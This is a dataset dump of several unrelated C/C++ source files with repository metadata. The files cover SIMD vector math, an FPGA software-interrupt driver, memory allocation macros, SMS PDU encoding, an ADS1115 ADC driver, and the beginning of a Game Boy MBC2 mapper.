VM_INLINE Vec3 operator* (float a, const Vec3 &b) { return Vec3(_mm_mul_ps(_mm_set1_ps(a), b.m)); }
VM_INLINE Vec3 operator/ (float a, const Vec3 &b) { return Vec3(_mm_div_ps(_mm_set1_ps(a), b.m)); }
VM_INLINE Vec3& operator+= (Vec3& a, const Vec3 &b) { a = a + b; return a; }
VM_INLINE Vec3& operator-= (Vec3& a, const Vec3 &b) { a = a - b; return a; }
VM_INLINE Vec3& operator*= (Vec3& a, const Vec3 &b) { a = a * b; return a; }
VM_INLINE Vec3& operator/= (Vec3& a, const Vec3 &b) { a = a / b; return a; }
VM_INLINE Vec3& operator*= (Vec3& a, float b) { a = a * b; return a; }
VM_INLINE Vec3& operator/= (Vec3& a, float b) { a = a / b; return a; }
VM_INLINE bool3 operator==(const Vec3 &a, const Vec3 &b) { return Vec3(_mm_cmpeq_ps(a.m, b.m)); }
VM_INLINE bool3 operator!=(const Vec3 &a, const Vec3 &b) { return Vec3(_mm_cmpneq_ps(a.m, b.m)); }
VM_INLINE bool3 operator< (const Vec3 &a, const Vec3 &b) { return Vec3(_mm_cmplt_ps(a.m, b.m)); }
VM_INLINE bool3 operator> (const Vec3 &a, const Vec3 &b) { return Vec3(_mm_cmpgt_ps(a.m, b.m)); }
VM_INLINE bool3 operator<=(const Vec3 &a, const Vec3 &b) { return Vec3(_mm_cmple_ps(a.m, b.m)); }
VM_INLINE bool3 operator>=(const Vec3 &a, const Vec3 &b) { return Vec3(_mm_cmpge_ps(a.m, b.m)); }
VM_INLINE Vec3 min(const Vec3 &a, const Vec3 &b) { return Vec3(_mm_min_ps(a.m, b.m)); }
VM_INLINE Vec3 max(const Vec3 &a, const Vec3 &b) { return Vec3(_mm_max_ps(a.m, b.m)); }
VM_INLINE Vec3 operator- (const Vec3 &a) { return Vec3(_mm_xor_ps(a.m, _mm_set1_ps(-0.0))); }
VM_INLINE float hmin(Vec3 v)
{
v = min(v, SHUFFLE3(v, 1, 0, 2));
return min(v, SHUFFLE3(v, 2, 0, 1)).getX();
}
VM_INLINE float hmax(Vec3 v)
{
v = max(v, SHUFFLE3(v, 1, 0, 2));
return max(v, SHUFFLE3(v, 2, 0, 1)).getX();
}
VM_INLINE Vec3 cross(const Vec3 &a, const Vec3 &b)
{
// x <- a.y*b.z - a.z*b.y
// y <- a.z*b.x - a.x*b.z
// z <- a.x*b.y - a.y*b.x
// We can save a shuffle by grouping it in this wacky order:
return (a.zxy() * b - a * b.zxy()).zxy();
}
// Returns a 3-bit code where bit0..bit2 is X..Z
VM_INLINE unsigned mask(const Vec3 &v) { return _mm_movemask_ps(v.m) & 7; }
// Once we have a comparison, we can branch based on its results:
VM_INLINE bool any(const bool3 &v) { return mask(v) != 0; }
VM_INLINE bool all(const bool3 &v) { return mask(v) == 7; }
VM_INLINE Vec3 clamp(const Vec3 &t, const Vec3& a, const Vec3 &b) { return min(max(t, a), b); }
VM_INLINE float sum(Vec3 v) { return v.getX() + v.getY() + v.getZ(); }
VM_INLINE float dot(const Vec3 &a, const Vec3 &b) { return sum(a * b); }
VM_INLINE float length(const Vec3 &v) { return sqrtf(dot(v, v)); }
VM_INLINE float sqLength(const Vec3 &v) { return dot(v, v); }
VM_INLINE Vec3 unit_vector(const Vec3 &v) { return v * (1.0f / length(v)); }
VM_INLINE Vec3 lerp(const Vec3 &a, const Vec3 &b, float t)
{
return (1 - t) * a + t * b;
//return a + (b - a) * t;
}
VM_INLINE void assert_unit(Vec3 v)
{
assert(fabsf(sqLength(v) - 1.0f) < 0.01f);
}
VM_INLINE Vec3 random_in_unit_sphere()
{
Vec3 p;
do
{
p = Vec3(myrand02_x4()) - Vec3(1.0f);
} while (sqLength(p) >= 1);
return p;
}
#else
struct Vec3
{
float x, y, z;
Vec3()
{
}
Vec3(float x0, float y0, float z0)
{
x = x0;
y = y0;
z = z0;
}
VM_INLINE float getX() const { return x; }
VM_INLINE float getY() const { return y; }
VM_INLINE float getZ() const { return z; }
VM_INLINE Vec3 & operator+=(const Vec3 & o)
{
x += o.x;
y += o.y;
z += o.z;
return *this;
}
VM_INLINE Vec3& operator/=(float t)
{
float k = 1.0f / t;
x *= k;
y *= k;
z *= k;
return *this;
}
VM_INLINE Vec3& operator*=(float t)
{
x *= t;
y *= t;
z *= t;
return *this;
}
};
VM_INLINE Vec3 operator-(const Vec3 & v)
{
return Vec3(-v.x, -v.y, -v.z);
}
VM_INLINE Vec3 operator+(const Vec3 & a, const Vec3 & b)
{
return Vec3(a.x + b.x, a.y + b.y, a.z + b.z);
}
VM_INLINE Vec3 operator*(const Vec3 & a, const Vec3 & b)
{
return Vec3(a.x * b.x, a.y * b.y, a.z * b.z);
}
VM_INLINE Vec3 operator*(const Vec3 & a, float t)
{
return Vec3(a.x * t, a.y * t, a.z * t);
}
VM_INLINE Vec3 operator*(float t, const Vec3 & a)
{
return Vec3(a.x * t, a.y * t, a.z * t);
}
VM_INLINE Vec3 operator-(const Vec3 & a, const Vec3 & b)
{
return Vec3(a.x - b.x, a.y - b.y, a.z - b.z);
}
VM_INLINE float dot(const Vec3 &a, const Vec3 &b)
{
return a.x* b.x + a.y * b.y + a.z * b.z;
}
VM_INLINE float length(const Vec3 &v)
{
return sqrtf(dot(v, v));
}
VM_INLINE float sqLength(const Vec3 &v)
{
return dot(v, v);
}
VM_INLINE Vec3 lerp(const Vec3 &a, const Vec3 &b, float t)
{
//return (1 - t) * a + t * b;
return a + (b - a) * t;
}
VM_INLINE Vec3 cross(const Vec3 & a, const Vec3 & b)
{
return Vec3(a.y * b.z - a.z * b.y, -(a.x * b.z - a.z * b.x), a.x * b.y - a.y * b.x);
}
VM_INLINE Vec3 unit_vector(const Vec3 & v)
{
return v * (1.0f / length(v));
}
VM_INLINE Vec3 random_in_unit_sphere()
{
Vec3 p;
do
{
__m128 r = myrand02_x4();
float* scalars = (float*)& r;
p = Vec3(scalars[0], scalars[1], scalars[2]) - Vec3(1, 1, 1);
} while (sqLength(p) >= 1);
return p;
}
#endif
| 2.578125 | 3 |
2024-11-18T22:25:48.752385+00:00 | 2017-10-26T15:01:17 | a621668563c282bdaa19681855be835f8a154635 | {
"blob_id": "a621668563c282bdaa19681855be835f8a154635",
"branch_name": "refs/heads/master",
"committer_date": "2017-10-26T15:01:17",
"content_id": "772439674a9d2adb4e55b9b4381fef2e8259b11d",
"detected_licenses": [
"MIT"
],
"directory_id": "d40b089df7a45d262b0f7470f5697c7d5af01382",
"extension": "c",
"filename": "peridot_swi.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 88336169,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4205,
"license": "MIT",
"license_type": "permissive",
"path": "/software/classic_boot_bsp/drivers/src/peridot_swi.c",
"provenance": "stackv2-0115.json.gz:142441",
"repo_name": "kimushu/peridot_boot",
"revision_date": "2017-10-26T15:01:17",
"revision_id": "57ebb094c8f0f6324aadd7c6f65c2fa05e0838b5",
"snapshot_id": "00520b048119b6812f89efeab3d8a10d910bb872",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/kimushu/peridot_boot/57ebb094c8f0f6324aadd7c6f65c2fa05e0838b5/software/classic_boot_bsp/drivers/src/peridot_swi.c",
"visit_date": "2021-01-19T17:37:50.410016"
} | stackv2 | #include <errno.h>
#include "alt_types.h"
#include "sys/alt_irq.h"
#include "peridot_swi.h"
#include "peridot_swi_regs.h"
#include "system.h"
static peridot_swi_state *swi_sp;
#ifdef SWI_FLASH_BOOT_ENABLE
/* This dummy variable prevents linker from dropping startup sections */
extern int __reset_swi;
__attribute__((used)) static const void *peridot_swi_dummy = &__reset_swi;
#endif /* SWI_FLASH_BOOT_ENABLE */
#ifdef ALT_ENHANCED_INTERRUPT_API_PRESENT
static void peridot_swi_irq(void *context)
#else
static void peridot_swi_irq(void *context, alt_u32 id)
#endif
{
peridot_swi_state *sp = (peridot_swi_state *)context;
// Clear SWI request
IOWR_PERIDOT_SWI_SWI(sp->base, 0);
if (sp->isr)
{
(*sp->isr)(sp->param);
}
}
void peridot_swi_init(peridot_swi_state *sp,
alt_u32 irq_controller_id, alt_u32 irq,
peridot_swi_flash_dev *flash_dev,
const char *flash_name)
{
swi_sp = sp;
if (!PERIDOT_SWI_HAS_MSGSWI(swi_sp->base)) {
return;
}
#ifdef ALT_ENHANCED_INTERRUPT_API_PRESENT
alt_ic_isr_register(irq_controller_id, irq, peridot_swi_irq, sp, NULL);
#else
(void)irq_controller_id;
alt_irq_register(irq, sp, peridot_swi_irq);
#endif
if (flash_dev) {
peridot_swi_flash_init(flash_dev, flash_name);
}
}
int peridot_swi_set_led(alt_u32 value)
{
if (!swi_sp)
{
return -ENODEV;
}
IOWR_PERIDOT_SWI_RSTSTS(swi_sp->base,
(value << PERIDOT_SWI_RSTSTS_LED_OFST) & PERIDOT_SWI_RSTSTS_LED_MSK);
return 0;
}
int peridot_swi_get_led(alt_u32 *ptr)
{
if (!swi_sp)
{
return -ENODEV;
}
if (ptr) {
*ptr = (IORD_PERIDOT_SWI_RSTSTS(swi_sp->base) & PERIDOT_SWI_RSTSTS_LED_MSK)
>> PERIDOT_SWI_RSTSTS_LED_OFST;
}
return PERIDOT_SWI_RSTSTS_LED_WIDTH;
}
int peridot_swi_reset_cpu(alt_u32 key)
{
if (!swi_sp)
{
return -ENODEV;
}
IOWR_PERIDOT_SWI_RSTSTS(swi_sp->base,
(key & PERIDOT_SWI_RSTSTS_KEY_MSK) | PERIDOT_SWI_RSTSTS_RST_MSK);
// Never return
for (;;);
}
int peridot_swi_set_handler(void (*isr)(void *), void *param)
{
if (!swi_sp)
{
return -ENODEV;
}
if (!PERIDOT_SWI_HAS_MSGSWI(swi_sp->base)) {
return -ENOTSUP;
}
swi_sp->isr = NULL;
swi_sp->param = param;
swi_sp->isr = isr;
return 0;
}
int peridot_swi_write_message(alt_u32 value)
{
alt_u32 base;
if (!swi_sp)
{
return -ENODEV;
}
base = swi_sp->base;
if (!PERIDOT_SWI_HAS_MSGSWI(base)) {
return -ENOTSUP;
}
IOWR_PERIDOT_SWI_MESSAGE(base, value);
return 0;
}
int peridot_swi_read_message(alt_u32 *value)
{
alt_u32 base;
if (!swi_sp)
{
return -ENODEV;
}
base = swi_sp->base;
if (!PERIDOT_SWI_HAS_MSGSWI(base)) {
return -ENOTSUP;
}
*value = IORD_PERIDOT_SWI_MESSAGE(base);
return 0;
}
int peridot_swi_flash_command(alt_u32 write_length, const alt_u8 *write_data,
alt_u32 read_length, alt_u8 *read_data,
alt_u32 flags)
{
alt_u32 base;
alt_u32 received;
if (!swi_sp)
{
return -ENODEV;
}
base = swi_sp->base;
if (!PERIDOT_SWI_HAS_FLASH(base)) {
return -ENOTSUP;
}
while ((IORD_PERIDOT_SWI_FLASH(base) &
PERIDOT_SWI_FLASH_RDY_MSK) == 0);
IOWR_PERIDOT_SWI_FLASH(base, PERIDOT_SWI_FLASH_SS_MSK);
for (; write_length > 0; --write_length)
{
IOWR_PERIDOT_SWI_FLASH(base,
PERIDOT_SWI_FLASH_SS_MSK | PERIDOT_SWI_FLASH_STA_MSK |
(((*write_data++) << PERIDOT_SWI_FLASH_TXDATA_OFST) &
PERIDOT_SWI_FLASH_TXDATA_MSK));
while ((IORD_PERIDOT_SWI_FLASH(base) & PERIDOT_SWI_FLASH_RDY_MSK) == 0);
}
for (; read_length > 0; --read_length)
{
IOWR_PERIDOT_SWI_FLASH(base,
PERIDOT_SWI_FLASH_SS_MSK | PERIDOT_SWI_FLASH_STA_MSK |
((0x00 << PERIDOT_SWI_FLASH_TXDATA_OFST) &
PERIDOT_SWI_FLASH_TXDATA_MSK));
while (((received = IORD_PERIDOT_SWI_FLASH(base)) &
PERIDOT_SWI_FLASH_RDY_MSK) == 0);
*read_data++ = (received & PERIDOT_SWI_FLASH_RXDATA_MSK) >>
PERIDOT_SWI_FLASH_RXDATA_OFST;
}
if ((flags & PERIDOT_SWI_FLASH_COMMAND_MERGE) == 0)
{
IOWR_PERIDOT_SWI_FLASH(base, 0);
}
return 0;
}
| 2.234375 | 2 |
2024-11-18T22:25:48.927796+00:00 | 2019-07-23T17:00:18 | 45af4369358910891ebcec54091389c275b5e2bb | {
"blob_id": "45af4369358910891ebcec54091389c275b5e2bb",
"branch_name": "refs/heads/master",
"committer_date": "2019-07-23T17:00:18",
"content_id": "ccf604c5a25766c982edbe5147bc69281be0e0b6",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "7cee7132a89e89b68acd85004efaca208e65c07c",
"extension": "h",
"filename": "nvm_mem.h",
"fork_events_count": 0,
"gha_created_at": "2020-04-01T08:16:45",
"gha_event_created_at": "2020-04-01T08:16:46",
"gha_language": null,
"gha_license_id": "NOASSERTION",
"github_id": 252113716,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 485,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/include/nvm/nvm_mem.h",
"provenance": "stackv2-0115.json.gz:142703",
"repo_name": "yunchih/rocksdb",
"revision_date": "2019-07-23T17:00:18",
"revision_id": "ceb4f09f139465787709934fd44807693f5ac2f3",
"snapshot_id": "e44ece10e8df51694890003f9edb821490ea3c84",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/yunchih/rocksdb/ceb4f09f139465787709934fd44807693f5ac2f3/include/nvm/nvm_mem.h",
"visit_date": "2021-05-20T00:51:44.358578"
} | stackv2 | #ifndef _NVM_MEM_H_
#define _NVM_MEM_H_
#define ALLOC_CLASS(x, y) \
x = new y;\
if(!(x))\
{\
printf("out of memory\n");\
exit(EXIT_FAILURE);\
}
#define ALLOC_STRUCT(x, y, z) \
(x) = (z *)malloc((y) * sizeof(z));\
if(!(x))\
{\
printf("out of memory\n");\
exit(EXIT_FAILURE);\
}
#define SAFE_ALLOC(x, y) \
x = new y;\
if(!(x))\
{\
printf("out of memory\n");\
exit(EXIT_FAILURE);\
}
#define SAFE_MALLOC(x, y, z) ALLOC_STRUCT(x, y, z)
#endif /* _NVM_MEM_H_ */
| 2.21875 | 2 |
2024-11-18T22:25:49.060685+00:00 | 2013-02-13T07:49:56 | 7a27323bdc032641c81240a3f12b12815c3a0c06 | {
"blob_id": "7a27323bdc032641c81240a3f12b12815c3a0c06",
"branch_name": "refs/heads/master",
"committer_date": "2013-02-13T07:49:56",
"content_id": "6e3f051b1662b73f46476465dcffb4cee51b9c40",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "b6e1e63cc98893057a587b52f5450aa98668b2b6",
"extension": "c",
"filename": "sms.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 35989218,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 9867,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/modem/sms.c",
"provenance": "stackv2-0115.json.gz:142831",
"repo_name": "denidoank/avalonsailing",
"revision_date": "2013-02-13T07:49:56",
"revision_id": "8bc6d511e243ebd4fd90e7fb678ac7560226b5ca",
"snapshot_id": "6556a2eb17b8b31686e9d1d79b03f89c66953605",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/denidoank/avalonsailing/8bc6d511e243ebd4fd90e7fb678ac7560226b5ca/modem/sms.c",
"visit_date": "2016-08-04T08:13:58.442815"
} | stackv2 | // Copyright 2011 The Avalon Project Authors. All rights reserved.
// Use of this source code is governed by the Apache License 2.0
// that can be found in the LICENSE file.
//
// SMS encoding/decoding functions, which are based on examples from:
// http://www.dreamfabric.com/sms/
#include "modem/sms.h"
#include <string.h>
#include <time.h>
#define BITMASK_7BITS 0x7F
#define BITMASK_8BITS 0xFF
#define BITMASK_HIGH_4BITS 0xF0
#define BITMASK_LOW_4BITS 0x0F
#define TYPE_OF_ADDRESS_INTERNATIONAL_PHONE 0x91
#define TYPE_OF_ADDRESS_NATIONAL_SUBSCRIBER 0xC8
#define SMS_DELIVER_ONE_MESSAGE 0x04
#define SMS_SUBMIT 0x11
#define SMS_MAX_7BIT_TEXT_LENGTH 160
// Swap decimal digits of a number (e.g. 12 -> 21).
static unsigned char SwapDecimalNibble(const unsigned char x) {
return (x / 16) + ((x % 16) * 10);
}
// Encode/Decode PDU: Translate ASCII 7bit characters to 8bit buffer.
// SMS encoding example from: http://www.dreamfabric.com/sms/.
//
// 7-bit ASCII: "hellohello"
// [0]:h [1]:e [2]:l [3]:l [4]:o [5]:h [6]:e [7]:l [8]:l [9]:o
// 1101000 1100101 1101100 1101100 1101111 1101000 1100101 1101100 1101100 1101111
// | ||| ||||| | ||||||| ||||||
// /-------------/ ///-------/// /////-///// \------------\ ||||||| \\\\\\
// | ||| ||||| | ||||||| ||||||
// input buffer position
// 10000000 22111111 33322222 44443333 55555333 66666655 77777776 98888888 --999999
// | ||| ||||| | ||||||| ||||||
// 8bit encoded buffer
// 11101000 00110010 10011011 11111101 01000110 10010111 11011001 11101100 00110111
// E8 32 9B FD 46 97 D9 EC 37
// Encode PDU message by merging 7 bit ASCII characters into 8 bit octets.
static int EncodePDUMessage(const char* sms_text, const int sms_text_length,
unsigned char* output_buffer,
const int buffer_size) {
// Check if output buffer is big enough.
if ((sms_text_length * 7 + 7) / 8 > buffer_size)
return -1;
int output_buffer_length = 0;
int carry_on_bits = 1;
int i = 0;
for (; i < sms_text_length - 1; ++i) {
output_buffer[output_buffer_length++] =
((sms_text[i] & BITMASK_7BITS) >> (carry_on_bits - 1)) |
((sms_text[i + 1] & BITMASK_7BITS) << (8 - carry_on_bits));
carry_on_bits++;
if (carry_on_bits == 8) {
carry_on_bits = 1;
++i;
}
}
if (i <= sms_text_length) {
output_buffer[output_buffer_length++] =
(sms_text[i] & BITMASK_7BITS) >> (carry_on_bits - 1);
}
return output_buffer_length;
}
// Decode PDU message by splitting 8 bit encoded buffer into 7 bit ASCII
// characters.
static int DecodePDUMessage(const unsigned char* buffer,
const int buffer_length,
char* output_sms_text, const int sms_text_length) {
int output_text_length = 0;
if (buffer_length > 0) {
output_sms_text[output_text_length++] = BITMASK_7BITS & buffer[0];
}
int carry_on_bits = 1;
int i = 1;
for (; i < buffer_length; ++i) {
output_sms_text[output_text_length++] = BITMASK_7BITS &
((buffer[i] << carry_on_bits) | (buffer[i - 1] >> (8 - carry_on_bits)));
if (output_text_length == sms_text_length)
break;
carry_on_bits++;
if (carry_on_bits == 8) {
carry_on_bits = 1;
output_sms_text[output_text_length++] = buffer[i] & BITMASK_7BITS;
if (output_text_length == sms_text_length)
break;
}
}
if (output_text_length < sms_text_length) { // Add last remainder.
output_sms_text[output_text_length++] =
buffer[i - 1] >> (8 - carry_on_bits);
}
return output_text_length;
}
// Encode a digit based phone number for SMS based format.
int EncodePhoneNumber(const char* phone_number, unsigned char* output_buffer,
const int buffer_size) {
int output_buffer_length = 0;
const int phone_number_length = strlen(phone_number);
// Check if the output buffer is big enough.
if ((phone_number_length + 1) / 2 > buffer_size)
return -1;
int i = 0;
for (; i < phone_number_length; ++i) {
if (phone_number[i] < '0' && phone_number[i] > '9')
return -1;
if (i % 2 == 0) {
output_buffer[output_buffer_length++] =
BITMASK_HIGH_4BITS | (phone_number[i] - '0');
} else {
output_buffer[output_buffer_length - 1] =
(output_buffer[output_buffer_length - 1] & BITMASK_LOW_4BITS) |
((phone_number[i] - '0') << 4);
}
}
return output_buffer_length;
}
// Decode a digit based phone number for SMS based format.
static int DecodePhoneNumber(const unsigned char* buffer,
const int phone_number_length,
char* output_phone_number) {
int i = 0;
for (; i < phone_number_length; ++i) {
if (i % 2 == 0) {
output_phone_number[i] = (buffer[i / 2] & BITMASK_LOW_4BITS) + '0';
} else {
output_phone_number[i] =
((buffer[i / 2] & BITMASK_HIGH_4BITS) >> 4) + '0';
}
}
output_phone_number[phone_number_length] = '\0'; // Terminate C string.
return phone_number_length;
}
// Encode a SMS message in the required format.
int EncodeSMS(const char* service_center_number, const char* phone_number,
const char* sms_text, const int sms_text_length,
unsigned char* output_buffer, const int buffer_size) {
if (buffer_size < 2)
return -1;
int output_buffer_length = 0;
// 1. Set SMS center number.
int length = 0;
if (service_center_number && strlen(service_center_number) > 0) {
output_buffer[1] = TYPE_OF_ADDRESS_INTERNATIONAL_PHONE;
length = EncodePhoneNumber(service_center_number,
output_buffer + 2, buffer_size - 2);
if (length < 0 && length >= 254)
return -1;
length++; // Add type of address.
}
output_buffer[0] = length;
output_buffer_length = length + 1;
if (output_buffer_length + 4 > buffer_size)
return -1; // Check if it has space for four more bytes.
// 2. Set type of message.
output_buffer[output_buffer_length++] = SMS_SUBMIT;
output_buffer[output_buffer_length++] = 0x00; // Message reference.
// 3. Set phone number.
output_buffer[output_buffer_length] = strlen(phone_number);
output_buffer[output_buffer_length + 1] = TYPE_OF_ADDRESS_INTERNATIONAL_PHONE;
length = EncodePhoneNumber(phone_number,
output_buffer + output_buffer_length + 2,
buffer_size - output_buffer_length - 2);
output_buffer_length += length + 2;
if (output_buffer_length + 4 > buffer_size)
return -1; // Check if it has space for four more bytes.
// 4. Protocol identifiers.
output_buffer[output_buffer_length++] = 0x00; // TP-PID: Protocol identifier.
output_buffer[output_buffer_length++] = 0x00; // TP-DCS: Data coding scheme.
output_buffer[output_buffer_length++] = 0xB0; // TP-VP: Validity: 10 days
// 5. SMS message.
if (sms_text_length > SMS_MAX_7BIT_TEXT_LENGTH)
return -1;
output_buffer[output_buffer_length++] = sms_text_length;
length = EncodePDUMessage(sms_text, sms_text_length,
output_buffer + output_buffer_length,
buffer_size - output_buffer_length);
if (length < 0)
return -1;
output_buffer_length += length;
return output_buffer_length;
}
int DecodeSMS(const unsigned char* buffer, const int buffer_length,
time_t* output_sms_time, char* output_sender_phone_number,
const int sender_phone_number_size, char* output_sms_text,
const int sms_text_size) {
if (buffer_length <= 0)
return -1;
const int sms_deliver_start = 1 + buffer[0];
if (sms_deliver_start + 1 > buffer_length ||
(buffer[sms_deliver_start] & SMS_DELIVER_ONE_MESSAGE) !=
SMS_DELIVER_ONE_MESSAGE) {
return -1;
}
const int sender_number_length = buffer[sms_deliver_start + 1];
if (sender_number_length + 1 > sender_phone_number_size)
return -1; // Buffer too small to hold decoded phone number.
// const int sender_type_of_address = buffer[sms_deliver_start + 2];
DecodePhoneNumber(buffer + sms_deliver_start + 3, sender_number_length,
output_sender_phone_number);
const int sms_pid_start = sms_deliver_start + 3 +
(buffer[sms_deliver_start + 1] + 1) / 2;
// Decode timestamp.
struct tm sms_broken_time;
sms_broken_time.tm_year = 100 + SwapDecimalNibble(buffer[sms_pid_start + 2]);
sms_broken_time.tm_mon = SwapDecimalNibble(buffer[sms_pid_start + 3]) - 1;
sms_broken_time.tm_mday = SwapDecimalNibble(buffer[sms_pid_start + 4]);
sms_broken_time.tm_hour = SwapDecimalNibble(buffer[sms_pid_start + 5]);
sms_broken_time.tm_min = SwapDecimalNibble(buffer[sms_pid_start + 6]);
sms_broken_time.tm_sec = SwapDecimalNibble(buffer[sms_pid_start + 7]);
const char gmt_offset = SwapDecimalNibble(buffer[sms_pid_start + 8]);
// GMT offset is expressed in 15 minutes increments.
(*output_sms_time) = mktime(&sms_broken_time) - gmt_offset * 15 * 60;
const int sms_start = sms_pid_start + 2 + 7;
if (sms_start + 1 > buffer_length)
return -1; // Invalid input buffer.
const int output_sms_text_length = buffer[sms_start];
if (sms_text_size < output_sms_text_length)
return -1; // Cannot hold decoded buffer.
const int decoded_sms_text_size =
DecodePDUMessage(buffer + sms_start + 1, buffer_length - (sms_start + 1),
output_sms_text, output_sms_text_length);
if (decoded_sms_text_size != output_sms_text_length)
return -1; // Decoder length is not as expected.
if (output_sms_text_length < sms_text_size) {
output_sms_text[output_sms_text_length] = '\0'; // Add a C string end.
}
return output_sms_text_length;
}
| 2.34375 | 2 |
2024-11-18T22:25:50.960503+00:00 | 2018-08-11T11:57:36 | c59c38d7d3b397aac574bf89db18b85e64b8a84c | {
"blob_id": "c59c38d7d3b397aac574bf89db18b85e64b8a84c",
"branch_name": "refs/heads/master",
"committer_date": "2018-08-11T11:57:36",
"content_id": "d653322327716753dd13d22b84117ab9f2f1b05e",
"detected_licenses": [
"MIT"
],
"directory_id": "19772d1d3d6455d7cf7f28a8a055512291b4dbce",
"extension": "c",
"filename": "user_adafruit_adc.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 144380335,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1888,
"license": "MIT",
"license_type": "permissive",
"path": "/Waagenprojekt/Src/user_adafruit_adc.c",
"provenance": "stackv2-0115.json.gz:143221",
"repo_name": "humveev/Projektarbeit_Waagenprojekt",
"revision_date": "2018-08-11T11:57:36",
"revision_id": "1f494d28761f79e8d4f06789eeb7de31a0924e75",
"snapshot_id": "3ad324a0052b2541c9d8dcda9466a59951226518",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/humveev/Projektarbeit_Waagenprojekt/1f494d28761f79e8d4f06789eeb7de31a0924e75/Waagenprojekt/Src/user_adafruit_adc.c",
"visit_date": "2020-03-26T01:44:29.431044"
} | stackv2 | /*
* user_adafruit_adc.c
*
* Created on: 02.05.2018
* Author: grobr
*/
#include "user_adafruit_adc.h"
void Adafruit_ADS1115_writeRegister(uint16_t i2cAddress, uint8_t reg, uint16_t value){
HAL_I2C_Master_Transmit(&hi2c1,i2cAddress,®,1,0xFF);
HAL_I2C_Master_Transmit(&hi2c1,i2cAddress,&value,2,0xFF);
}
uint16_t Adafruit_ADS1115_readRegister(uint16_t i2cAddress, uint8_t reg){
uint16_t data=0;
HAL_I2C_Master_Transmit(&hi2c1,i2cAddress,®,1,0xFF);
HAL_I2C_Master_Receive(&hi2c1,i2cAddress,&data,2,0xFF);
return data;
}
uint16_t Adafruit_ADS1115_SingleEnded(uint8_t channel){
volatile uint8_t data[2] = {0};
volatile uint16_t data_ret = 0;
volatile uint16_t config = 0;
volatile uint16_t config_bytereverse = 0;
config = ADS1115_REG_CONFIG_CQUE_NONE|
ADS1115_REG_CONFIG_CLAT_NONLAT|
ADS1115_REG_CONFIG_CPOL_ACTVLOW|
ADS1115_REG_CONFIG_CMODE_TRAD|
ADS1115_REG_CONFIG_DR_128SPS|
ADS1115_REG_CONFIG_MODE_SINGLE;
config |= GAIN_TWOTHIRDS;
config |= ADS1115_REG_CONFIG_OS_SINGLE;
switch(channel){
case(0):
config |= ADS1115_REG_CONFIG_MUX_SINGLE_0;
break;
case(1):
config |= ADS1115_REG_CONFIG_MUX_SINGLE_1;
break;
case(2):
config |= ADS1115_REG_CONFIG_MUX_SINGLE_2;
break;
case(3):
config |= ADS1115_REG_CONFIG_MUX_SINGLE_3;
break;
default:
return 0xFFFF;
}
config_bytereverse = (config << 8) + (config >> 8);
HAL_I2C_Mem_Write(&hi2c1,ADS1115_ADDRESS,ADS1115_REG_POINTER_CONFIG,I2C_MEMADD_SIZE_8BIT, &config_bytereverse,2,0xFF);
HAL_Delay(ADS1115_CONVERSIONDELAY);
HAL_I2C_Mem_Read(&hi2c1,ADS1115_ADDRESS,ADS1115_REG_POINTER_CONVERT,I2C_MEMADD_SIZE_8BIT,(uint8_t*) &data_ret,2,0xFF);
//data_ret = data[0] + data[1];
if(data_ret == 0xFFFF){
data_ret = 0x0000;
}
return data_ret;
}
| 2.453125 | 2 |
2024-11-18T22:25:51.051413+00:00 | 2023-05-14T15:28:10 | 741e65813040f12cc6985364f8d870ebbd2fd457 | {
"blob_id": "741e65813040f12cc6985364f8d870ebbd2fd457",
"branch_name": "refs/heads/master",
"committer_date": "2023-05-14T15:28:10",
"content_id": "e5ffec6042f42de4693c09fce096dd9837e2edb8",
"detected_licenses": [
"MIT"
],
"directory_id": "018bb899e160f0b78b29ea813f99883f8e4b2a5e",
"extension": "c",
"filename": "mbc2.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 292454538,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2071,
"license": "MIT",
"license_type": "permissive",
"path": "/src/system/memory/mapper/mbc2.c",
"provenance": "stackv2-0115.json.gz:143352",
"repo_name": "majestic53/dmg",
"revision_date": "2023-05-14T15:28:10",
"revision_id": "9ae8a0cad0b5bec5d436873ce1cc745c1675bb68",
"snapshot_id": "574f4db1de244667c8984a864dcdd814b42f7493",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/majestic53/dmg/9ae8a0cad0b5bec5d436873ce1cc745c1675bb68/src/system/memory/mapper/mbc2.c",
"visit_date": "2023-05-31T07:54:35.668117"
} | stackv2 | /*
* SPDX-FileCopyrightText: 2023 David Jolly <majestic53@gmail.com>
* SPDX-License-Identifier: MIT
*/
#include <system.h>
static void dmg_mbc2_update(dmg_t const dmg)
{
dmg->memory.mapper.mbc2.rom.bank[0] = 0;
dmg->memory.mapper.mbc2.rom.bank[1] = dmg->memory.mapper.mbc2.bank.rom & 15;
if (!dmg->memory.mapper.mbc2.rom.bank[1])
{ /* BANK 0->1 */
++dmg->memory.mapper.mbc2.rom.bank[1];
}
dmg->memory.mapper.mbc2.rom.bank[1] &= dmg->memory.cartridge.rom.count - 1;
}
void dmg_mbc2_initialize(dmg_t const dmg)
{
dmg_mbc2_update(dmg);
}
uint8_t dmg_mbc2_read(dmg_t const dmg, uint16_t address)
{
uint8_t result = 0xFF;
switch (address)
{
case 0x0000 ... 0x3FFF: /* ROM 0 */
result = dmg_cartridge_read_rom(dmg, dmg->memory.mapper.mbc2.rom.bank[0], address);
break;
